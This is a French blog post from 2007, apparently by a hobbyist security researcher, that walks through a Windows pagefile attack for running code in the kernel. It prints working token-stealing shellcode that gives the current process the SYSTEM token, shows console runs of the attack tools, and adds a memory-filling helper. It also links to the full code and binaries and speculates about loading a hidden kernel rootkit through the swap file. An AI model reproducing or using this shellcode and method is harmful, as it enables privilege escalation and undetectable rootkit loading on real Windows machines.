Bon maintenant, qu’on est capable d’exécuter un code avec des privilèges ring0, qu’est ce qu’on va faire ? Bon je ne me suis pas vraiment foulé, j’ai codé un petit shellcode qui modifie le token du process courant par celui du process system. Ce genre de truc sert pas mal pour les exploits kernel ;) :

__asm
{
	nop
	nop
	mov eax, fs:[0x124] //current ETHREAD
	mov eax, dword ptr [eax+0x220] //current EPROCESS

	mov ecx, eax //ecx=current process 

	mov eax, dword ptr [eax+0x88] //EPROCESS -> ActiveProcessLinks  -> Flink

_LIST_ENTRY */

	mov eax, dword ptr [eax]
	cmp dword ptr [eax-4], 0x4  // if we have system process PID
	jne label //if not goto next EPROCESS

	//else
	mov edx, dword ptr [eax+0x40] //0xC8-0x88 get the system process token
	mov dword ptr [ecx+0xC8], edx

	retn 8
}

Quand on triggera la fonction qui gère les IRP celle-ci avant de quitter va appeler notre shellcode pour modifier le token de notre process puis effectura un « retn 8″ comme si rien ne s’était passé.

Voiçi les commandes réalisant l’attaque :

C:\\Documents and Settings\\fu\\Bureau>PageFile.exe
PageFile LCN By IvanlefOu
Be M4DZ!!
Total Handles : 3566

\\pagefile.sys
Got pagefile.sys handle : 1956
ExtentCount : 1
LCN : 0x84e56d
VCN : 0x773a

C:\\Documents and Settings\\fu\\Bureau>PageFileAttack.exe
Pagefile Attack
By Ivanlef0u
Be M4DZ!
Usage is PageFileAttack
 

C:\\Documents and Settings\\fu\\Bureau>PageFileAttack.exe 0x84e56d 0x773a
Pagefile Attack
By Ivanlef0u
Be M4DZ!
Offet : 0x855ca7000
Found Pattern at VCN : 1434, Addr : 0x856241000, Offset : 0x480
[...]
THIZ IZ SPARTAPZ!!

Après que le token est été modifié le process lancer un cmd.exe qui tourne avec le token SYSTEM. Pour être clair je n’est pas la prétention de dire que l’attaque fonctionne à coup sûr au premier essais. Chez moi je l’ai testé sous VM avec 200 Mo de ram et un fichier de swap de 300 Mo. En fait avant le scan je demande au process d’allouer une bonne partie de la mémoire virtuelle restante avec le code suivant :

void FillMem()
{
	MEMORYSTATUSEX statex;
	PVOID tapz;
	statex.dwLength=sizeof(statex);

	GlobalMemoryStatusEx(&statex);

	printf ("%ld percent of memory is in use.n", statex.dwMemoryLoad);

	printf ("There are 0x%I64x free bytes of virtual memory.n", statex.ullAvailVirtual);

	tapz=VirtualAlloc(NULL, statex.ullAvailVirtual/20, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
	if(!tapz)
	{
		printf("Error with VirtualAlloc : %dn", GetLastError());
		return;
	}
	memset(tapz, 1, statex.ullAvailVirtual/20);
}

Je ne garantis rien, c’est une attaque difficile à réaliser, alors il faut parfois bidouiller un peu le code pour y arriver. Si vous trouvez un moyen fiable prévenez-moi.

Enfin, je voudrais préciser une dernière chose. Pour l’instant l’attaque marche du moment que l’on est admin sur la b0x. Admettons que nos connaissions la position du pagefile.sys sur le disque (donc pas besoin de dupliquer le handle du process system et de send un IOCTL pour récup sa pos sur le hd). J’ai essayé de lancer l’attaque en tant que simple utilisateur, manque de chance les gars de MS ont designé le kernel de sorte qu’il soit impossible à un token non-admin de lire et d’écrire en raw sur les devices FILE_DEVICE_DISK et FILE_DEVICE_CD_ROM. Oui je sais c’est dommage, mais si vous arrivez à trouvez un moyen de contourner se problème alors vous venez de gagnez un 0day de type local privilege escalation :]]

Pour finir, si on cherche à allez plus loin. On pourrait, et je dis bien POURRAIT imaginez charger un code dans le kernel de cette façon. On copirait dans le pagefile les instructions et les ferait exécuter en mémoire de la mème manière que plus haut. A partir de là on peut très bien imaginer charger un rootkit kernel depuis le fichier de swap, c’est difficile, il y a plein de problèmes à prendre en compte mais imho c’est faisable. Si jamais ce genre de technique marche on possède un moyen quasi indétectable de chargement de code dans le noyau. Pour les drivers il existe en effet une routine appelé PsSetLoadImageNotifyRoutine qui permet de monitorer tout les chargements de modules, que ce soit des .dll dans un process ou des .sys dans le kernel. Il existe des API comme NtSystemDebugControl qui permettent d’écrire direct dans la mem kernel mais un simple HIDS sera capable de détecter l’intrution, pareil pour le \device\PhysicalMemory.

Bref bref, plein de possibilités s’offre à nous, reste à les mettre en oeuvre.

Voici les codes+binaires :
http://ivanlef0u.fr/repo/PagefileAttack.rar

Joanna the source of Inspiration ;)

ref:
http://support.microsoft.com/?scid=kb%3Ben-us%3B99768&x=17&y=14
https://msdn2.microsoft.com/en-us/library/aa364572.aspx
http://theinvisiblethings.blogspot.com/2006/10/vista-rc2-vs-pagefile-attack-and-some.html
http://invisiblethings.org/papers/joanna%20rutkowska%20-%20subverting%20vista%20kernel.ppt

3 comments octobre 3rd, 2007


Calendar

octobre 2007
L Ma Me J V S D
« sept   nov »
1234567
891011121314
15161718192021
22232425262728
293031  

Posts by Month

Posts by Category